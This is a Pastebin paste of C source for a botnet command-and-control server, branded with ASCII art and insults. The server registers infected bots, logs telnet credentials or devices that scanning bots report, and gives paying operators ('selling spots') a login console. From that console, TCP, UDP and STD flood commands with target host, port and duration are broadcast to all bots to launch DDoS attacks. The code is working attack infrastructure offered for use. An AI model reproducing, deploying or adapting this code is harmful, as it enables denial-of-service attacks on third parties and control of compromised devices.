zFoM

SlumpiifyTheLeecher.c

Nov 16th, 2017
53
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 20.99 KB | None | 0 0
  1. ╔═╗┬  ┬ ┬┌┬┐┌─┐┬┬┌─┐┬ ┬  ╔╦╗┬ ┬┌─┐  ╦  ╔═╗╔═╗╔═╗╦ ╦╔═╗╦═╗
  2. ╚═╗│  │ ││││├─┘││├┤ └┬┘   ║ ├─┤├┤   ║  ║╣ ║╣ ║  ╠═╣║╣ ╠╦╝
  3. ╚═╝┴─┘└─┘┴ ┴┴  ┴┴└   ┴    ╩ ┴ ┴└─┘  ╩═╝╚═╝╚═╝╚═╝╩ ╩╚═╝╩╚═
  4.  
  5. // [ General Commands ]
  6. // !* TCP $host $port $time 32 100-9000 10    'Sends a DDoS attack with the Transmision Control Protocol to specified target, methods include ALL,SYN,ACK,FIN,RST, and PSH
  7. // !* UDP $host $port $time 32 100-9000 10    'Sends a DDoS attack with the User Datagram Protocol, with a fixed packet size and interval
  8. // !* STD $host $port $time                   'Sends a Transmision Control Protocol based DDoS attack to specified target, with persistant tcp socket for buffer spam
  9.  
  10. // [ Other Commands ]
  11. // help      'Shows list of commands
  12. // exit    'Logout of your account
  13. // clear     'Clears the screen
  14. // KILLATTK  'Kills All of the outgoing attacks
  15.  
  16. #include <stdio.h>
  17. #include <stdlib.h>
  18. #include <stdint.h>
  19. #include <inttypes.h>
  20. #include <string.h>
  21. #include <sys/types.h>
  22. #include <sys/socket.h>
  23. #include <netdb.h>
  24. #include <unistd.h>
  25. #include <time.h>
  26. #include <fcntl.h>
  27. #include <sys/epoll.h>
  28. #include <errno.h>
  29. #include <pthread.h>
  30. #include <signal.h>
  31. #include <arpa/inet.h>
  32. #define MAXFDS 1000000
  33.  
  34. struct login_info {
  35.     char username[100];
  36.     char password[100];
  37. };
  38. static struct login_info accounts[100]; //Edit if selling spots
  39. struct clientdata_t {
  40.         uint32_t ip;
  41.         char connected;
  42. } clients[MAXFDS];
  43. struct telnetdata_t {
  44.     int connected;
  45. } managements[MAXFDS];
  46. struct args {
  47.     int sock;
  48.     struct sockaddr_in cli_addr;
  49. };
  50. static volatile FILE *telFD;
  51. static volatile FILE *fileFD;
  52. static volatile int epollFD = 0;
  53. static volatile int listenFD = 0;
  54. static volatile int OperatorsConnected = 0;
  55. static volatile int TELFound = 0;
  56. static volatile int scannerreport;
  57.  
  58. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  59.     int total = 0, got = 1;
  60.     while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  61.     return got;
  62. }
  63. void trim(char *str) {
  64.     int i;
  65.     int begin = 0;
  66.     int end = strlen(str) - 1;
  67.     while (isspace(str[begin])) begin++;
  68.     while ((end >= begin) && isspace(str[end])) end--;
  69.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  70.     str[i - begin] = '\0';
  71. }
  72. static int make_socket_non_blocking (int sfd) {
  73.     int flags, s;
  74.     flags = fcntl (sfd, F_GETFL, 0);
  75.     if (flags == -1) {
  76.         perror ("fcntl");
  77.         return -1;
  78.     }
  79.     flags |= O_NONBLOCK;
  80.     s = fcntl (sfd, F_SETFL, flags);
  81.     if (s == -1) {
  82.         perror ("fcntl");
  83.         return -1;
  84.     }
  85.     return 0;
  86. }
  87. static int create_and_bind (char *port) {
  88.     struct addrinfo hints;
  89.     struct addrinfo *result, *rp;
  90.     int s, sfd;
  91.     memset (&hints, 0, sizeof (struct addrinfo));
  92.     hints.ai_family = AF_UNSPEC;
  93.     hints.ai_socktype = SOCK_STREAM;
  94.     hints.ai_flags = AI_PASSIVE;
  95.     s = getaddrinfo (NULL, port, &hints, &result);
  96.     if (s != 0) {
  97.         fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  98.         return -1;
  99.     }
  100.     for (rp = result; rp != NULL; rp = rp->ai_next) {
  101.         sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  102.         if (sfd == -1) continue;
  103.         int yes = 1;
  104.         if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  105.         s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  106.         if (s == 0) {
  107.             break;
  108.         }
  109.         close (sfd);
  110.     }
  111.     if (rp == NULL) {
  112.         fprintf (stderr, "Could not bind\n");
  113.         return -1;
  114.     }
  115.     freeaddrinfo (result);
  116.     return sfd;
  117. }
  118. void broadcast(char *msg, int us, char *sender)
  119. {
  120.         int sendMGM = 1;
  121.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  122.         char *wot = malloc(strlen(msg) + 10);
  123.         memset(wot, 0, strlen(msg) + 10);
  124.         strcpy(wot, msg);
  125.         trim(wot);
  126.         time_t rawtime;
  127.         struct tm * timeinfo;
  128.         time(&rawtime);
  129.         timeinfo = localtime(&rawtime);
  130.         char *timestamp = asctime(timeinfo);
  131.         trim(timestamp);
  132.         int i;
  133.         for(i = 0; i < MAXFDS; i++)
  134.         {
  135.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  136.                 if(sendMGM && managements[i].connected)
  137.                 {
  138.                         send(i, "\x1b[31m", 5, MSG_NOSIGNAL);
  139.                         send(i, sender, strlen(sender), MSG_NOSIGNAL);
  140.                         send(i, ": ", 2, MSG_NOSIGNAL);
  141.                 }
  142.                 printf("sent to fd: %d\n", i);
  143.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  144.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[0;37m> \x1b[0m", 13, MSG_NOSIGNAL);
  145.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  146.         }
  147.         free(wot);
  148. }
  149. void *BotEventLoop(void *useless) {
  150.     struct epoll_event event;
  151.     struct epoll_event *events;
  152.     int s;
  153.     events = calloc (MAXFDS, sizeof event);
  154.     while (1) {
  155.         int n, i;
  156.         n = epoll_wait (epollFD, events, MAXFDS, -1);
  157.         for (i = 0; i < n; i++) {
  158.             if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  159.                 clients[events[i].data.fd].connected = 0;
  160.                 close(events[i].data.fd);
  161.                 continue;
  162.             }
  163.             else if (listenFD == events[i].data.fd) {
  164.                while (1) {
  165.                 struct sockaddr in_addr;
  166.                 socklen_t in_len;
  167.                 int infd, ipIndex;
  168.  
  169.                 in_len = sizeof in_addr;
  170.                 infd = accept (listenFD, &in_addr, &in_len);
  171.                 if (infd == -1) {
  172.                     if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  173.                     else {
  174.                         perror ("accept");
  175.                         break;
  176.                          }
  177.                 }
  178.  
  179.                 clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  180.                 int dup = 0;
  181.                 for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  182.                     if(!clients[ipIndex].connected || ipIndex == infd) continue;
  183.                     if(clients[ipIndex].ip == clients[infd].ip) {
  184.                         dup = 1;
  185.                         break;
  186.                     }}
  187.                 if(dup) {
  188.                     if(send(infd, "!* BOTKILL\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  189.                     close(infd);
  190.                     continue;
  191.                 }
  192.                 s = make_socket_non_blocking (infd);
  193.                 if (s == -1) { close(infd); break; }
  194.                 event.data.fd = infd;
  195.                 event.events = EPOLLIN | EPOLLET;
  196.                 s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  197.                 if (s == -1) {
  198.                     perror ("epoll_ctl");
  199.                     close(infd);
  200.                     break;
  201.                 }
  202.                 clients[infd].connected = 1;
  203.             }
  204.             continue;
  205.         }
  206.         else {
  207.             int datafd = events[i].data.fd;
  208.             struct clientdata_t *client = &(clients[datafd]);
  209.             int done = 0;
  210.             client->connected = 1;
  211.             while (1) {
  212.                 ssize_t count;
  213.                 char buf[2048];
  214.                 memset(buf, 0, sizeof buf);
  215.                 while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  216.                     if(strstr(buf, "\n") == NULL) { done = 1; break; }
  217.                     trim(buf);
  218.                     if(strcmp(buf, "PING") == 0) {
  219.                         if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  220.                         continue;
  221.                     }
  222.                     if(strstr(buf, "REPORT ") == buf) {
  223.                         char *line = strstr(buf, "REPORT ") + 7;
  224.                         fprintf(telFD, "%s\n", line);
  225.                         fflush(telFD);
  226.                         TELFound++;
  227.                         continue;
  228.                     }
  229.                     if(strstr(buf, "PROBING") == buf) {
  230.                         char *line = strstr(buf, "PROBING");
  231.                         scannerreport = 1;
  232.                         continue;
  233.                     }
  234.                     if(strstr(buf, "REMOVING PROBE") == buf) {
  235.                         char *line = strstr(buf, "REMOVING PROBE");
  236.                         scannerreport = 0;
  237.                         continue;
  238.                     }
  239.                     if(strcmp(buf, "PONG") == 0) {
  240.                         continue;
  241.                     }
  242.                     printf("buf: \"%s\"\n", buf);
  243.                 }
  244.                 if (count == -1) {
  245.                     if (errno != EAGAIN) {
  246.                         done = 1;
  247.                     }
  248.                     break;
  249.                 }
  250.                 else if (count == 0) {
  251.                     done = 1;
  252.                     break;
  253.                 }
  254.             if (done) {
  255.                 client->connected = 0;
  256.                 close(datafd);
  257. }}}}}}
  258. unsigned int BotsConnected() {
  259.     int i = 0, total = 0;
  260.     for(i = 0; i < MAXFDS; i++) {
  261.         if(!clients[i].connected) continue;
  262.         total++;
  263.     }
  264.     return total;
  265. }
  266. void *TitleWriter(void *sock) {
  267.     int datafd = (int)sock;
  268.     char string[2048];
  269.     while(1) {
  270.         memset(string, 0, 2048);
  271.         sprintf(string, "%c]0;Slumpiidy The Leecher - Bots: %d | Telnet Devices: %d | Skid - Users: %d%c", '\033', BotsConnected(), TELFound, OperatorsConnected, '\007');
  272.         if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  273.         sleep(2);
  274. }}
  275. int Find_Login(char *str) {
  276.     FILE *fp;
  277.     int line_num = 0;
  278.     int find_result = 0, find_line=0;
  279.     char temp[512];
  280.  
  281.     if((fp = fopen("login.txt", "r")) == NULL){
  282.         return(-1);
  283.     }
  284.     while(fgets(temp, 512, fp) != NULL){
  285.         if((strstr(temp, str)) != NULL){
  286.             find_result++;
  287.             find_line = line_num;
  288.         }
  289.         line_num++;
  290.     }
  291.     if(fp)
  292.         fclose(fp);
  293.     if(find_result == 0)return 0;
  294.     return find_line;
  295. }
  296. void *BotWorker(void *sock) {
  297.     int datafd = (int)sock;
  298.     int find_line;
  299.     OperatorsConnected++;
  300.     pthread_t title;
  301.     char buf[2048];
  302.     char* username;
  303.     char* password;
  304.     memset(buf, 0, sizeof buf);
  305.     char botnet[2048];
  306.     memset(botnet, 0, 2048);
  307.     char botcount [2048];
  308.     memset(botcount, 0, 2048);
  309.     char statuscount [2048];
  310.     memset(statuscount, 0, 2048);
  311.  
  312.     FILE *fp;
  313.     int i=0;
  314.     int c;
  315.     fp=fopen("login.txt", "r");
  316.     while(!feof(fp)) {
  317.         c=fgetc(fp);
  318.         ++i;
  319.     }
  320.     int j=0;
  321.     rewind(fp);
  322.     while(j!=i-1) {
  323.         fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  324.         ++j;
  325.     }
  326.  
  327.         if(send(datafd, "\x1b[30mUSERNAME:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  328.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  329.         trim(buf);
  330.         char* nickstring;
  331.         sprintf(accounts[find_line].username, buf);
  332.         nickstring = ("%s", buf);
  333.         find_line = Find_Login(nickstring);
  334.         if(strcmp(nickstring, accounts[find_line].username) == 0){
  335.         if(send(datafd, "\x1b[30mPASSWORD:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  336.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  337.  
  338.         char clearscreen [2048];
  339.         memset(clearscreen, 0, 2048);
  340.         sprintf(clearscreen, "\033[1A");
  341.         if(send(datafd, clearscreen,         strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  342.  
  343.         trim(buf);
  344.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  345.         memset(buf, 0, 2048);
  346.         goto Banner;
  347.         }
  348.         failed:
  349.         if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  350.         char failed_line1[100];
  351.         char failed_line2[100];
  352.         char failed_line3[100];
  353.         char failed_line4[100];
  354.         char failed_line5[100];
  355.         char failed_line6[100];
  356.         char failed_line7[100];
  357.         char failed_line8[100];
  358.         char failed_line9[100];
  359.         char failed_line10[100];
  360.         char failed_line11[100];
  361.         char failed_line12[100];
  362.  
  363.         sprintf(failed_line1, "\x1b[0;37m              _________                   _______  \r\n");
  364.         sprintf(failed_line2, "\x1b[0;37m    _-----____/   ========================|______| \r\n");
  365.         sprintf(failed_line3, "\x1b[0;37m    |           ______________/                    \r\n");
  366.         sprintf(failed_line4, "\x1b[0;37m    |    ___--_/(_)       ^                        \r\n");
  367.         sprintf(failed_line5, "\x1b[0;37m    |___ ---                                       \r\n");
  368.         sprintf(failed_line6, "\x1b[0;37mI'M GONNA GIVE YOU TO THE COUNT OF TEN TO GET YOUR, UGLY\r\n");
  369.         sprintf(failed_line7, "\x1b[0;37mYELLA, NO GOOD KEESTER OFF MY PROPERTY, BEFORE I PUMP\r\n");
  370.         sprintf(failed_line8, "\x1b[0;37mYOUR GUTS FULL'A LEAD...\r\n");
  371.         sprintf(failed_line9, "\x1b[0;37mONE ...\r\n");
  372.         sprintf(failed_line10,"\x1b[0;37mTWO ...\r\n");
  373.         sprintf(failed_line11,"\x1b[0;37mTEN ...\r\n");
  374.         sprintf(failed_line12,"\x1b[0;37mKEEP THE CHANGE YAH FILTHY ANIMAL.\r\n");
  375.         if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  376.         if(send(datafd, failed_line2, strlen(failed_line2), MSG_NOSIGNAL) == -1) goto end;
  377.         if(send(datafd, failed_line3, strlen(failed_line3), MSG_NOSIGNAL) == -1) goto end;
  378.         if(send(datafd, failed_line4, strlen(failed_line4), MSG_NOSIGNAL) == -1) goto end;
  379.         if(send(datafd, failed_line5, strlen(failed_line5), MSG_NOSIGNAL) == -1) goto end;
  380.         if(send(datafd, failed_line6, strlen(failed_line6), MSG_NOSIGNAL) == -1) goto end;
  381.         if(send(datafd, failed_line7, strlen(failed_line7), MSG_NOSIGNAL) == -1) goto end;
  382.         if(send(datafd, failed_line8, strlen(failed_line8), MSG_NOSIGNAL) == -1) goto end;
  383.         sleep(2);
  384.         if(send(datafd, failed_line9, strlen(failed_line9), MSG_NOSIGNAL) == -1) goto end;
  385.         sleep(3);
  386.         if(send(datafd, failed_line10, strlen(failed_line10), MSG_NOSIGNAL) == -1) goto end;
  387.         sleep(3);
  388.         if(send(datafd, failed_line11, strlen(failed_line11), MSG_NOSIGNAL) == -1) goto end;
  389.         sleep(3);
  390.         if(send(datafd, failed_line12, strlen(failed_line12), MSG_NOSIGNAL) == -1) goto end;
  391.         sleep(3);
  392.         goto end;
  393.  
  394.         Banner:
  395.         pthread_create(&title, NULL, &TitleWriter, sock);
  396.         char ascii_banner_line1   [5000];
  397.         char ascii_banner_line2   [5000];
  398.         char ascii_banner_line3   [5000];
  399.         char welcome_line         [5000];
  400.        
  401.         sprintf(ascii_banner_line1, "\x1b[0;37m      **********************************************\r\n");
  402.         sprintf(ascii_banner_line2, "\x1b[0;37m      ******         WELCOME, @Slumpiify is a leecher  ******\r\n");
  403.         sprintf(ascii_banner_line3, "\x1b[0;37m      **********************************************\r\n");
  404.         sprintf(welcome_line,       "\x1b[0;37m               [\x1b[32m-\x1b[0;37m]  \x1b[0;37m\033[5mSkid: \x1b[1;31m%s\x1b[0;37m  [\x1b[32m-\x1b[0;37m]\r\n", accounts[find_line].username);
  405.        
  406.         if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  407.         if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  408.         if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  409.         if(send(datafd, welcome_line,       strlen(welcome_line),       MSG_NOSIGNAL) == -1) goto end;
  410.         while(1) {
  411.         if(send(datafd, "\x1b[0;37m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  412.         break;
  413.         }
  414.         pthread_create(&title, NULL, &TitleWriter, sock);
  415.         managements[datafd].connected = 1;
  416.  
  417.         while(fdgets(buf, sizeof buf, datafd) > 0) {  
  418.             if(strstr(buf, "bots")) {
  419.                 char botcount [5000];
  420.                 memset(botcount, 0, 5000);
  421.                 sprintf(botcount, "\x1b[0;37mSlumpiify is a leecher - Bots: %d | Skid - Users: %d\r\n", BotsConnected(), OperatorsConnected);
  422.                 if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  423.                 while(1) {
  424.                 if(send(datafd, "\x1b[0;37m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  425.                 break;
  426.                 }
  427.                 continue;
  428.             }
  429.             if(strstr(buf, "help")) {
  430.                 pthread_create(&title, NULL, &TitleWriter, sock);
  431.                 char helpline1  [5000];
  432.                 char helpline2  [5000];
  433.                 char helpline3  [5000];
  434.                 char helpline4  [5000];
  435.                 char helpline5  [5000];
  436.                 char helpline6  [5000];
  437.                 char helpline7  [5000];
  438.                 char helpline8  [5000];
  439.  
  440.                 sprintf(helpline1,  "\x1b[1;31m~ [ \x1b[;37mGENERAL COMMANDS \x1b[1;31m] ~\r\n");
  441.                 sprintf(helpline2,  "\x1b[1;31m ~ [ \x1b[0;37mTCP\x1b[1;31m ] ~  \x1b[0;37m!* TCP $host $port $time 32 Method 100 10\r\n");
  442.                 sprintf(helpline3,  "\x1b[1;31m ~ [ \x1b[0;37mUDP\x1b[1;31m ] ~  \x1b[0;37m!* UDP $host $port $time 32 100 10\r\n");
  443.                 sprintf(helpline4,  "\x1b[1;31m ~ [ \x1b[0;37mSTD\x1b[1;31m ] ~  \x1b[0;37m!* STD $host $port $time 32\r\n");
  444.                 sprintf(helpline5,  "\x1b[1;31m~ [ \x1b[;37mOTHER COMMANDS \x1b[1;31m] ~\r\n");
  445.                 sprintf(helpline6,  "\x1b[1;31m ~ [ \x1b[0;37mKILLATTK\x1b[1;31m ] ~ \x1b[0;37mKILLATTK\r\n");
  446.                 sprintf(helpline7,  "\x1b[1;31m ~ [ \x1b[0;37mexit\x1b[1;31m ] ~   \x1b[0;37mLOGOUT\r\n");
  447.                 sprintf(helpline8,  "\x1b[1;31m ~ [ \x1b[0;37mclear\x1b[1;31m ] ~    \x1b[0;37mCLEAR\r\n");
  448.                
  449.  
  450.                 if(send(datafd, helpline1,  strlen(helpline1),  MSG_NOSIGNAL) == -1) goto end;
  451.                 if(send(datafd, helpline2,  strlen(helpline2),  MSG_NOSIGNAL) == -1) goto end;
  452.                 if(send(datafd, helpline3,  strlen(helpline3),  MSG_NOSIGNAL) == -1) goto end;
  453.                 if(send(datafd, helpline4,  strlen(helpline4),  MSG_NOSIGNAL) == -1) goto end;
  454.                 if(send(datafd, helpline5,  strlen(helpline5),  MSG_NOSIGNAL) == -1) goto end;
  455.                 if(send(datafd, helpline6,  strlen(helpline6),  MSG_NOSIGNAL) == -1) goto end;
  456.                 if(send(datafd, helpline7,  strlen(helpline7),  MSG_NOSIGNAL) == -1) goto end;
  457.                 if(send(datafd, helpline8,  strlen(helpline8),  MSG_NOSIGNAL) == -1) goto end;
  458.                 pthread_create(&title, NULL, &TitleWriter, sock);
  459.                 while(1) {
  460.                 if(send(datafd, "\x1b[0;37m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  461.                 break;
  462.                 }
  463.                 continue;
  464.             }
  465.             if(strstr(buf, "BOTKILL")) {
  466.                 char gtfomynet [2048];
  467.                 memset(gtfomynet, 0, 2048);
  468.                 sprintf(gtfomynet, "!* BYEBOTS\r\n");
  469.                 broadcast(buf, datafd, gtfomynet);
  470.                 continue;
  471.             }
  472.             if(strstr(buf, "KILLATTK")) {
  473.                 char killattack [2048];
  474.                 memset(killattack, 0, 2048);
  475.                 sprintf(killattack, "!* STOP\r\n");
  476.                 broadcast(buf, datafd, killattack);
  477.                 continue;
  478.             }
  479.             if(strstr(buf, "clear")) {
  480.                 char clearscreen [2048];
  481.                 memset(clearscreen, 0, 2048);
  482.                 sprintf(clearscreen, "\033[2J\033[1;1H");
  483.                 if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  484.                 if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  485.                 if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  486.                 if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  487.                 if(send(datafd, welcome_line,       strlen(welcome_line),       MSG_NOSIGNAL) == -1) goto end;
  488.                 while(1) {
  489.                 if(send(datafd, "\x1b[0;37m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  490.                 break;
  491.                 }
  492.                 continue;
  493.             }
  494.             if(strstr(buf, "exit")) {
  495.                 char logoutmessage [2048];
  496.                 memset(logoutmessage, 0, 2048);
  497.                 sprintf(logoutmessage, "Come Again, %s", accounts[find_line].username);
  498.                 if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  499.                 sleep(2);
  500.                 goto end;
  501.             }
  502.  
  503.             trim(buf);
  504.             if(send(datafd, "\x1b[0;37m> \x1b[37m", 11, MSG_NOSIGNAL) == -1) goto end;
  505.             if(strlen(buf) == 0) continue;
  506.             printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  507.  
  508.             FILE *LogFile;
  509.             LogFile = fopen("server.log", "a");
  510.             time_t now;
  511.             struct tm *gmt;
  512.             char formatted_gmt [50];
  513.             char lcltime[50];
  514.             now = time(NULL);
  515.             gmt = gmtime(&now);
  516.             strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  517.             fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  518.             fclose(LogFile);
  519.             broadcast(buf, datafd, accounts[find_line].username);
  520.             memset(buf, 0, 2048);
  521.         }
  522.  
  523.         end:
  524.         managements[datafd].connected = 0;
  525.         close(datafd);
  526.         OperatorsConnected--;
  527. }
  528. void *BotListener(int port) {
  529.     int sockfd, newsockfd;
  530.     socklen_t clilen;
  531.     struct sockaddr_in serv_addr, cli_addr;
  532.     sockfd = socket(AF_INET, SOCK_STREAM, 0);
  533.     if (sockfd < 0) perror("ERROR opening socket");
  534.     bzero((char *) &serv_addr, sizeof(serv_addr));
  535.     serv_addr.sin_family = AF_INET;
  536.     serv_addr.sin_addr.s_addr = INADDR_ANY;
  537.     serv_addr.sin_port = htons(port);
  538.     if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  539.     listen(sockfd,5);
  540.     clilen = sizeof(cli_addr);
  541.     while(1) {
  542.         newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  543.         if (newsockfd < 0) perror("ERROR on accept");
  544.         pthread_t thread;
  545.         pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  546. }}
  547. int main (int argc, char *argv[], void *sock) {
  548.         signal(SIGPIPE, SIG_IGN);
  549.         int s, threads, port;
  550.         struct epoll_event event;
  551.         if (argc != 4) {
  552.             fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  553.             exit (EXIT_FAILURE);
  554.         }
  555.         port = atoi(argv[3]);
  556.         telFD = fopen("telnet.txt", "a+");
  557.         threads = atoi(argv[2]);
  558.         listenFD = create_and_bind (argv[1]);
  559.         if (listenFD == -1) abort ();
  560.         s = make_socket_non_blocking (listenFD);
  561.         if (s == -1) abort ();
  562.         s = listen (listenFD, SOMAXCONN);
  563.         if (s == -1) {
  564.             perror ("listen");
  565.             abort ();
  566.         }
  567.         epollFD = epoll_create1 (0);
  568.         if (epollFD == -1) {
  569.             perror ("epoll_create");
  570.             abort ();
  571.         }
  572.         event.data.fd = listenFD;
  573.         event.events = EPOLLIN | EPOLLET;
  574.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  575.         if (s == -1) {
  576.             perror ("epoll_ctl");
  577.             abort ();
  578.         }
  579.         pthread_t thread[threads + 2];
  580.         while(threads--) {
  581.             pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  582.         }
  583.         pthread_create(&thread[0], NULL, &BotListener, port);
  584.         while(1) {
  585.             broadcast("PING", -1, "LEL");
  586.             sleep(60);
  587.         }
  588.         close (listenFD);
  589.         return EXIT_SUCCESS;
  590. }
Add Comment
Please, Sign In to add comment